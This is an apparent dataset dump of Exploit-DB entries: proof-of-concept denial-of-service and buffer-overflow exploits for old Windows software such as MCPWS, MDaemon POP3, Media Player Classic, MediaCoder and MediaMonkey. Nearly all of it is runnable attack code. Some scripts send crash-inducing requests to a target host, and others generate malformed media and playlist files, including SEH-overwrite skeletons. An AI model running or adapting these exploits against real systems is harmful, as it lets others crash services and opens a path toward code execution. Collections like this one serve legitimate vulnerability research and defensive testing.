deardaniel/secdata-raw huggingface dataset:
Exploit-DB #891
Description: MCPWS Personal WebServer 1.3.21 - Denial of Service
Type: dos
Platform: windows
Date: 2005-03-21
Author: Nico Spicher

Exploit:
#!/usr/bin/perl

#  MCPWS Personal - Webserver <= 1.3.21 DoS Exploit
#  Vendor: http://www.mcpsoftware.de
#
#  The coder used a unsecure VB-function (Open) to open requested files
#  and didn't include a working error handling (On Error Goto etc).
#  It's possible to exploit this vulnerability by requesting files
#  that don't exist. Successful exploitation results 
#  in a runtime error that stops the process.
#
#  Nico Spicher [http://triplex.it-helpnet.de/]

use IO::Socket;

if (@ARGV < 1)
 {
system "clear";
print "[-] MCPWS Personal-Web Server <= 1.3.21 DoS Exploit\n\n";
print "[-] Usage: dos_mcpws.pl <host ip>\n";
exit(1);
 }
system "clear";

$server = $ARGV[0];
system "clear";
print "[-] MCPWS Personal-Web Server <= 1.3.21 DoS Exploit\n\n";
print "[-] Server IP: ";
print $server;
print "\n[-] Connecting to IP ...\n";

$socket = IO::Socket::INET->new(
	Proto => "tcp",
	PeerAddr => "$server",
	PeerPort => "80"); unless ($socket) { die "[-] $server is offline\n" }

print "[-] Connected\n\n";

print "[-] Creating string\n";

  $string="ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
# This file shouldn't exist :)

print "[-] Sending string\n\n";

print $socket "GET /".$string." HTTP/1.1\r\n\r\n";

print "[>] Attack successful - Server killed\n";
close($socket);

# milw0rm.com [2005-03-21]
Exploit-DB #2245
Description: MDaemon POP3 Server < 9.06 - 'USER' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-08-22
Author: Leon Juranic

Exploit:
#
# PoC for Mdaemon POP3 preauth heap overflow
#
# Coded by Leon Juranic <leon.juranic@infigo.hr>
# Infigo IS <http://www.infigo.hr>
# 
#

$host = '192.168.0.105';

use IO::Socket;

for ($x = 0 ; $x < 12 ; $x++)
{
	$sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto => 'tcp') 
	|| die "socket error\n\n";
	recv ($sock, $var, 10000,0);
	print $var;
	print $sock "USER " . "\@A" x 160 . "\r\n";
	recv ($sock, $var, 10000,0);
	print $var;
	print $sock "QUIT\r\n";
	recv ($sock, $var, 10000,0);
	print $var;
	close ($sock);
	sleep(1);
}
	$sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto => 'tcp') 
	|| die "socket error\n\n";
	recv ($sock, $var, 10000,0);
	print $var;
	print $sock "USER " . "\@A\@A" . "B" x 326 . "\r\n";
	recv ($sock, $var, 10000,0);
	print $var;
	print $sock "USER " . "\'A" x  337 . "\r\n";
	recv ($sock, $var, 10000,0);
	print $var;
	sleep(2);

# milw0rm.com [2006-08-22]
Exploit-DB #11728
Description: Media Player 6.4.9.1 with K-Lite Codec Pack - '.avi' File Crash (Denial of Service)
Type: dos
Platform: windows
Date: 2010-03-14
Author: En|gma7

Exploit:
# Exploit Title: Media Player V6.4.9.1 with K-Lite Codec Pack DoS/Crash (.avi file)
# Date: 14/3/2010
# Author: En|gma7
# Software Link: http://www.free-codecs.com/K_lite_codec_pack_download.htm
# Version: Media Player V6.4.9.1 with K-Lite Codec Pack 5.8.0
# Tested on: WinXP/Vista
# CVE : [if exists]
# Code :

#!/usr/bin/perl

# dos.avi work on windows XP with all SP
#crash.avi work on WinXP/Vista

print "
[~] Media Player V6.4.9.1 with K-Lite Codec Pack 5.8.0 DoS/Crash (.avi file)
[~] EN|GMA7 Team ~
[~] By Zaid
[~] www.enigma7.net<http://www.enigma7.net><http://www.enigma7.net>
";


$bf = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
$crash = "\x4D\x54\x68\x64\x00\x00\x00\x06";

open(file, "> dos.avi");
print (file $bf);
open(file, "> crash.avi");
print (file $crash);
print "\n\n[+] Done!\n
[+] dos.avi and crash.avi created..\n
[+] Z-at-Enigma7.net\n";
Exploit-DB #14477
Description: Media Player Classic - Heap Overflow / Denial of Service
Type: dos
Platform: windows
Date: 2010-07-26
Author: Praveen Darshanam

Exploit:
Tested on:
Media Player Classic - Home Cinema
Build number: 1.3.1333.0
MPC Compiler: VS 2008
FFmpeg Compiler: GCC 4.4.1


###################CRASH REPORT START##################
ModLoad: 77be0000 77bf5000   C:\WINDOWS\system32\MSACM32.dll
ModLoad: 77bd0000 77bd7000   C:\WINDOWS\system32\midimap.dll
ModLoad: 73ee0000 73ee4000   C:\WINDOWS\system32\KsUser.dll
ModLoad: 10000000 100fb000   C:\Program Files\K-Lite Codec
Pack\Filters\vsfilter.dll
ModLoad: 590b0000 590ce000   C:\WINDOWS\system32\wmpasf.dll
ModLoad: 71b20000 71b32000   C:\WINDOWS\system32\MPR.dll
ModLoad: 6bf50000 6bfcd000   C:\WINDOWS\system32\dxmasf.dll
ModLoad: 02[PII_REDACTED]f000   C:\WINDOWS\system32\DRMClien.DLL
(6dc.cec): C++ EH exception - code e06d7363 (!!! second chance !!!)
............................... ISSUE
eax=01c2f2e4 ebx=80040218 ecx=00000000 edx=00200003 esi=01c2f36c
edi=003fd08c
eip=7c812aeb esp=01c2f2e0 ebp=01c2f334 iopl=0         nv up ei pl nz na pe
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\WINDOWS\system32\kernel32.dll -
kernel32!RaiseException+0x52:
7c812aeb 5e              pop     esi
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:004> g
WARNING: Continuing a non-continuable exception
(6dc.cec): Break instruction exception - code 80000003 (first chance)
eax=01c2f2e4 ebx=80040218 ecx=00000000 edx=00200003 esi=00000000
edi=003fd08c
eip=0071d14b esp=01c2f37c ebp=01c2f39c iopl=0         nv up ei pl nz na pe
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
efl=00000206
mpc_hc+0x31d14b:
0071d14b cc              int     3

###################CRASH REPORT END##################

For images related to the vulnerability refer my blog
http://darshanams.blogspot.com

##########PoC Start################
print("\n*****Program need to be run on Python 3.1*****")
print ("""Media Player Classic - Home Cinema 1.3.1333.0 M3U File DoS
(0-Day)\r\n\r\nTested on:\nWindows XP SP3\n
Media Player Classic - Home Cinema\n\t\t Build number: 1.3.1333.0\n\t\t
MPC Compiler: VS 2008\n\t\t FFmpeg Compiler: GCC 4.4.1\n""")

head = "EXTM3U"
buf = "D" * 1000

mal_buf = head + buf
#print ("mal_buf:",mal_buf)
try:
mpc_mal = open("mpc_m3u_crash.m3u",'w')
mpc_mal.write (mal_buf)
mpc_mal.close()
print ("File Created Successfully: mpc_m3u_crash.m3u\n")
except:
print ("Cannnot Create M3U File\n")

print ("[+] Found and Coded by: Praveen Darshanam\r\n")
##########PoC End################

Best Regards,
Praveen Darshanam,
Security Researcher
Exploit-DB #12704
Description: Media Player Classic 1.3.1774.0 - '.rm' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-05-23
Author: sniper ip

Exploit:
# Exploit Title: [ Media Player Classic - v 1.3.1774.0  (.rm file)  buffer Overflow poc ]
# Date: [ 2010-05-22 ]
# Author: [ sniper ip ]
# Software Link: []
# Version: [ v 1.3.1774.0  ]
# Tested on: [ Windows  xp2 , Windows  xp3 , Windows  7 ]
# CVE : [if exists]
# Code : [

#!/usr/bin/perl
# |--------------------------------------------------------------------------------------------------| #
# | -- Media Player Classic - v 1.3.1774.0   (.rm file)  buffer Overflow poc --| #
# | ---------- -- By : sniper ip # My Email : sniper-ip@hotmail.com ------------- | #
# |--------------------------------------------------------------------------------------------------| #

$buff="A" x 5000;
open (myfile , ">>sniper.rm");
print myfile $buff;
close (myfile);
Exploit-DB #13837
Description: Media Player Classic 1.3.1774.0 - mpcpl Local Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-06-12
Author: R3d-D3V!L

Exploit:
#!\C:\Perl\bin
##################################{In The Name Of Allah The Mercifull}######################

# Title : Media Player Classic V1.3.1774.0 (mpcpl) 0day suffer from local Denial of Service PoC

# Tested : Windows xp (sp3)

# AUThoR: R3d-D3v!L

# Credits to : XP10_HACKER ((XP10.ME-xp10.com))

print qq(
########################################################
## Media Player Classic V1.3.1774.0 0day suffer from local Denial of Service PoC ##
## Credits : XP10.ME ##
## XP10_HACKER ##
## Author : R3d-D3v!L <X[at]hotmail.co.jp> ##
## Greetz : DR_DAShER & JUPA ##
## all member at XP10.ME ##
########################################################
);

$XP10_hacker="\nbody {alink: "."A/" x 8000000 ."}\n";
open(file ,'>>X.mpcpl');
print file $XP10_hacker;
print "CODED BY R3d-D3V!L~#\n";
close(file);
Exploit-DB #9620
Description: Media Player Classic 6.4.9 - '.mid' Integer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-09-09
Author: PLATEN

Exploit:
#!/usr/bin/perl

print qq(

  ############################################################
  ##            Iranian Pentesters Home                     ##
  ##               Www.Pentesters.Ir                        ##
  ##              PLATEN -[ H.jafari ]-                     ## 
  ## Media Player Classic 6.4.9(.mid) Integer Overflow PoC  ##
  ## Vulnerability Discovered By : PLATEN                   ##
  ## E-mail && blog:                                        ##
  ## hjafari.blogspot.com                                   ##
  ## platen.secure[at]gmail[dot]com                         ## 
  ## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder                ##
  ## and all members in Pentesters.ir                       ##
  ############################################################
);

$boom = "\x4d\x54\x68\x64\x00\x00\x00\x06\x00\x01\x00\x01\x00\x60\x4d\x54".
"\x72\x6b\x00\x00\x00\x4e\x00\xff\x03\x08\x34\x31\x33\x61\x34\x61".
"\x35\x30\x00\x91\x41\x60\x01\x3a\x60\x01\x4a\x60\x01\x50\x60\x7d".
"\x81\x41\x01\x01\x3a\x5f\x8d\xe4\xa0\x01\x50\x01\x3d\x91\x41\x60".
"\x81\x00\x81\x41\x40\x00\x91\x3a\x60\x81\x00\x76\x6f\xcc\x3d\xa6".
"\xc2\x48\xee\x8e\xca\xc2\x57\x00\x91\x50\x60\x81\x00\x81\x50\x40".
"\x00\xff\x2f\x00";

open(fhandle,'>>expl.mid') || die "can't create file: expl.mid";
print fhandle $boom;
close(fhandle);
print "\n  [+] File created successfully: expl.mid \n";

# milw0rm.com [2009-09-09]
Exploit-DB #11535
Description: Media Player Classic 6.4.9.1 - '.avi' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-02-22
Author: cr4wl3r

Exploit:
#!/usr/bin/perl

# Media Player Classic 6.4.9.1 (.avi) Buffer Overflow Exploit
# Homepage: http://www.sourceforge.net/projects/guliverkli2/
# Exploit Coded by: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
# From: Indonesia
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# WARNING - WARNING - WARNING - WARNING
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#
# Disclaimer: The author published the information under the condition
#             that is not in the intention of the reader to use them in order to bring
#             to himself or others a profit or to bring to others damage.
#
#
# Gr33tz: No Thanks



print "
[+]--------------------------------------------------------------[+]
[+] Media Player Classic 6.4.9.1 (.avi) Buffer Overflow Exploit  [+]
[+] By : cr4wl3r                                                 [+]
[+]--------------------------------------------------------------[+]
";


$buff = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";

open(file, "> sploit.avi");
print (file $buff);
print "\n\n[+] Done!\n
[+] Open with Media Player Classic\n
[+] Coded by cr4wl3r\n";
Exploit-DB #11706
Description: Media Player classic StatsReader - '.stats' Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-03-12
Author: ITSecTeam

Exploit:
#!/usr/bin/python
#
# #############################################################################
# Media Player classic StatsReader (.stats file) stack buffer Overflow poc
# Software Link: http://mpc-hc.sourceforge.net/download-media-player-classic-hc.html
# Tested in : Windows XP SP3
# Credit : ItSecTeam
# mail : Bug@ItSecTeam.com
# Web:  WwW.ITSecTeam.com
# Found by: PLATEN @ ItSecTeam
# Special Tanks : M3hr@n.S - B3hz4d - Cdef3nder
# patch: C:\Program Files (x86)\K-Lite Codec Pack\Tools\StatsReader.exe
#        Usage: ./stats-poc.py
# #############################################################################
#
print """
[~] Media Player clissic StatsReader (.stats file) stack buffer Overflow poc
[~] mail : Bug@ItSecTeam.com
[~] Web:  WwW.ITSecTeam.com
[~] Find by: hoshang jafari a.k.a (PLATEN) @ ItSecTeam
"""

data= "\x41" *500000
try:
        file=open("media-poc.stats",'w')
        file.write( data )
        file.close()
        print   ("[+] File created successfully: media-poc.stats" )
except:
        print "[-] Error cant write file to system\n"
Exploit-DB #35531
Description: Mediacoder 0.8.33 build 5680 - '.lst' Buffer Overflow (PoC) (SEH Overwrite)
Type: dos
Platform: windows
Date: 2014-12-15
Author: s-dz

Exploit:
# Exploit Title: Mediacoder 0.8.33 build 5680 SEH Buffer Overflow Exploit Dos (.lst)
# Date: 11/29/2010
# Author: Hadji Samir s-dz@hotmail.fr
# Software Link: http://dl.mediacoderhq.com/files001/MediaCoder-0.8.33.5680.exe
# Version: 0.8.33 build 5680

#    EAX 0012E788
#    ECX 43434343
#    EDX 00000000
#    EBX 43434343
#    ESP 0012E724
#    EBP 0012E774
#    ESI 0012E788
#    EDI 00000000

#!/usr/bin/python

buffer = ("http://" + "A" * 845)
nseh = ("B" * 4)
seh  = ("C" * 4)
junk = ("D" * 60)

f= open("exploit.lst",'w')
f.write(buffer + nseh + seh + junk)
f.close()
Exploit-DB #35530
Description: Mediacoder 0.8.33 build 5680 - '.m3u' Buffer Overflow (PoC) (SEH Overwrite)
Type: dos
Platform: windows
Date: 2014-12-15
Author: s-dz

Exploit:
# Exploit Title: Mediacoder 0.8.33 build 5680 SEH Buffer Overflow Exploit Dos (.m3u)
# Date: 11/29/2010
# Author: Hadji Samir s-dz@hotmail.fr
# Software Link: http://dl.mediacoderhq.com/files001/MediaCoder-0.8.33.5680.exe
# Version: 0.8.33 build 5680

#    EAX 0012E508
#    ECX 43434343
#    EDX 00000000
#    EBX 43434343
#    ESP 0012E4A4
#    EBP 0012E4F4
#    ESI 0012E508
#    EDI 00000000

#!/usr/bin/python
buffer = ("http://" + "A" * 845)
nseh = ("B" * 4)
seh  = ("C" * 4)
junk = ("D" * 60)

f= open("exploit.m3u",'w')
f.write(buffer + nseh + seh + junk)
f.close()
Exploit-DB #19562
Description: MediaHouse Software Statistics Server 4.28/5.1 - 'Server ID' Buffer Overflow
Type: dos
Platform: windows
Date: 1999-09-30
Author: Per Bergehed

Exploit:
source: https://www.securityfocus.com/bid/734/info

The web interface for Statistics Server contains an unchecked buffer which accepts input from the "Server ID" field of the login webpage. While the login webpage has a 16 character restriction, this is easily circumventible by editing the HTML to remove the restriction. Entering a string of more than 3773 characters will crash the server. This bug could potentially be used to remotely execute arbitrary code. 

#!/usr/bin/perl

###############################################################
# Sample DoS against the Mediahouse Statistics Server
# This was tested against 4.28 & 5.01 running on Windows NT 4.0
#
# Only use it to determine if your own Server is vulnerable!
#
# Per Bergehed (per_bergehed@hotmail.com)
#
# http://w1.855.telia.com/~u85513179/security/exploits/mediahouse.html
#
# V1.0 - Check for "ss?form=statsredir&ID=..." buffer overflow.
# V1.1 - added check for "ss?form=setsite&ID=..." buffer overflow.
#

use IO::Socket;

print "############################################################\n";
print "# Simple DoS-attack against the Mediahouse Statistics Server\n";
print "# Tested with version 4.28 & 5.01\n";
print "\n";

if ($#ARGV != 0) 
{
        die "-> Please give the host address as argument.\n"
}

opensocket ("\n");
print $remote "GET " . "ss?setsite=" . "A" x 40000 . "& HTTP/1.0\n\n";
print $remote "GET " . "ss?form=statsredir&ID=" . "A" x 40000 . "& HTTP/1.0\n\n";
close $remote;

opensocket ("\n-> The server seemed to be vulnerable to this attack\n");
close $remote;
die "-> The server does not seem to be vulnerable to this attack\n";

sub opensocket 
{
        $remote = IO::Socket::INET->new (
                Proto => "tcp",
                PeerAddr => $ARGV[0],
                PeerPort => "http(80)",
        ) || die "# Can't open http-port on $ARGV[0]$_[0]";
        $remote->autoflush(1)
}

# EOF
Exploit-DB #15032
Description: MediaHuman Music Converter 1.0.1 - '.wav' / '.mp3' Denial of Service
Type: dos
Platform: windows
Date: 2010-09-17
Author: modpr0be

Exploit:
# Exploit Title: MediaHuman Music Converter 1.0.1 .wav and .mp3 Denial of Service
# Date: September 17, 2010
# Author: modpr0be
# Software Link: http://www.mediahuman.com/download.html
# Version: 1.0.1
# Tested on: Windows 7
# CVE :

# How it works?
# Go to Add Files... --> Choose blah .wav and bang! app crash..
# Testing on Windows 7 Ultimate..crashed, windows auto report and solution
window pop out..
# works on .wav and .mp3

#!/usr/bin/python

junk = "\x41" * 25000

file = open('blah.wav','w')
file.write(junk)
file.close()
Exploit-DB #39795
Description: MediaInfo 0.7.61 - Crash (PoC)
Type: dos
Platform: windows
Date: 2016-05-10
Author: Mohammad Reza Espargham

Exploit:
#!/usr/bin/perl -w
# Title : Windows Media Player MediaInfo v0.7.61 - Buffer Overflow Exploit
# Tested on Windows 7 / Server 2008
# Download Link : https://sourceforge.net/projects/mediainfo/files/binary/mediainfo-gui/0.7.61/
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   reza.espargham@owasp.org
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/reza.espargham
#
# Github : github.com/rezasp
#
#
#
# 1 . run perl code : perl reza.pl
# 2 . open 1.mp3 by mediainfo.exe
# 3 . Crashed ;)

use MP3::Tag;

$mp3 = MP3::Tag->new('1.mp3');
$mp3->title_set('A' x 500000);
$mp3->artist_set('A' x 500000);
$mp3->update_tags();  
$mp3->close();
Exploit-DB #32054
Description: MediaMonkey 3.0.3 - URI Handling Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2008-07-16
Author: Shinnok

Exploit:
source: https://www.securityfocus.com/bid/30251/info

MediaMonkey is prone to two denial-of-service vulnerabilities because it fails to handle user-supplied input.

An attacker can exploit these issues to crash the application. Given the nature of these vulnerabilities, the attacker may also be able to execute arbitrary code, but this has not been confirmed.

MediaMonkey 3.0.3 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
# MediaMonkey 3.0.3 [.m3u] & [.pcast] url handling DOS
#This script will generate 2 files called evil.m3u and evil.pcast.
#In both cases the vulnerability resides in failure to handle overly long urls.
#[.m3u descr]
#The vulnerability exists in several places within the url.In this case
#we are going to use the file name part of the url.
#Open evil.m3u in MediaMonkey then play it.Or double click the .m3u file
#and it will try to play automatically.
#Debugger output on crash:
#              ----------------------------------------------------------------
#              Exception C0000005 (ACCESS_VIOLATION reading [31F518F0])
#              ----------------------------------------------------------------
#              EAX=FFFFFFFF: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
#              EBX=00000002: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
#              ECX=0CF203D9: 2F 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
#              EDX=0CF203D9: 2F 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
#              ESP=0CC5AF38: 31 32 37 2E 30 2E 30 2E-31 2F 41 41 41 41 41 41
#              EBP=0CCBFF7C: B4 FF CB 0C 18 63 54 03-B8 49 55 03 08 3F 5B 03
#              ESI=25031517: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
#              EDI=0CCBFF5D: 03 F2 0C D9 03 F2 0C 26-00 00 00 48 00 F1 0C 78
#              EIP=035445A8: 8A 14 0E 8D 04 0E 80 FA-2F 0F 84 13 01 00 00 80
#                            --> MOV DL,[ESI+ECX*1]
#              ----------------------------------------------------------------
#
#[.pcast descr]
#Just as in the .m3u case the vulnerability manifests in several places within
#the url.In this case we will use the filename too.
#Double click or "open with" evil.pcast in MediaMonkey.The program will 
#start consuming 100% cpu thus becaming unusable.
#
#Found by: Shinnok raydenxy [at] yahoo dot com
m3u = 'http://127.0.0.1/'
badstr = 'A' * 200000
m3u += badstr
m3u += '.mp3'

f = open('evil.m3u','wb')
f.write(m3u);
f.close

pcast = '<?xml version="1.0" encoding="UTF-8"?>\n<pcast version="1.0">\n<channel>\n<link rel="feed" type="application/rss+xml" href="http://127.0.0.1/'
badstr = 'A'* 200000
pcast += badstr
pcast += '.xml"/></link>\n</channel>\n</pcast>\n'

f = open('evil.pcast','wb')
f.write(pcast);
f.close
Exploit-DB #7854
Description: MediaMonkey 3.0.6 - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-25
Author: AlpHaNiX

Exploit:
#!/usr/bin/perl
# By ALpHaNiX
# NullArea.Net
# THanks
#can get the software from
http://www.download.com/MediaMonkey-Standard/3000-2141_4-10109807.html

my $file = "alpix.m3u" ;
print "[+] Exploiting....." ;
my $buff1="http://"."A" x 543339 ;
open(m3u, ">>$file") or die "Cannot open $file";
print m3u $buff1;
close(m3u);
print "\n[+] done !";

# milw0rm.com [2009-01-25]
Exploit-DB #11165
Description: MediaMonkey 3.2.0 - Local Denial of Service
Type: dos
Platform: windows
Date: 2010-01-17
Author: Red-D3v1L

Exploit:
# Download : http://download.cnet.com/MediaMonkey-Standard/3000-2141_4-10109807.html
# Author: Red-D3v1L
## sh0otz fly t0 : j0rd4n14n.r1z,H1s0k4,ThE-g0bl!N,T3rr0rist,zAx,dr@g,h311 c0d3 And All sEc-r1z CrEw#
# n00bz : Zombie_KSA g0t 0wn3d hehehe n00b pakbugs zf0 ...
# Version: 3.2.0
# my Home : www.sec-r1z.com , sEc-r1z CrEw#
#!/usr/bin/perl
system ("color a");
print "./SEC-R1Z_ _   _  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _\n";
print " /  / _ _   \\ /  __ _\ /   _ _ /\\       \  <   |/_ _ _ _ /\n";
print " \\  \\ _ _\\__ /  /_ _ /  /  __   |  ()   / |  |    /   /\n";
print "  \\ \__ _ \\  /  /_ _ /  /  |__|  |      /  |  |   /   /\n";
print "  _ _ _ _ \\/       /  \/2_0_1_0  |       \\\ |  |  /   /_____ \n";
print " /_ _ _ _ / \_ _ _ /\ _ _ _ /  |__|\ __\ |__| /___\\/J0_ _____./str1k3z y0u!!\n";
###################################
my $r1z= "b00m.mp3";
my $boom="\x41" x 5000;
open(myfile,'>>b00m.mp3');
print myfile $boom;
print "[+] d0nE\n";
Exploit-DB #14555
Description: MediaMonkey 3.2.1.1297 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-08-05
Author: anonymous

Exploit:
#Mediamonkey v. 3.2.1.1297 DOS POC
#vulnerble application link http://www.mediamonkey.com/trialpay
#tested on XP SP2/3

#!/usr/bin/python

filename = "crash.mp3"


junk = "\x41" * 5000

textfile = open(filename , 'w')
textfile.write(junk)
textfile.close()
Exploit-DB #15669
Description: MediaMonkey 3.2.4.1304 - '.mp3' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-12-04
Author: 0v3r

Exploit:
# Exploit Title: Mediamonkey 3.2.4.1304 (mp3) Buffer Overflow Vulnerability PoC
# Date: 12/04/2010
# Author: 0v3r
# Software Link: http://www.mediamonkey.com/download/?dir=download
# Version: 3.2.4.1304
# Tested on: Windows XP SP3 EN
# CVE: N/A


#!/usr/bin/python

buff = "\x41" * 5000 

try:
 	f = open("exploit.mp3",'w')
	f.write(buff)
	f.close()
	print "[-] File created!\n" 
except:
	print "[-] Error occured!\n"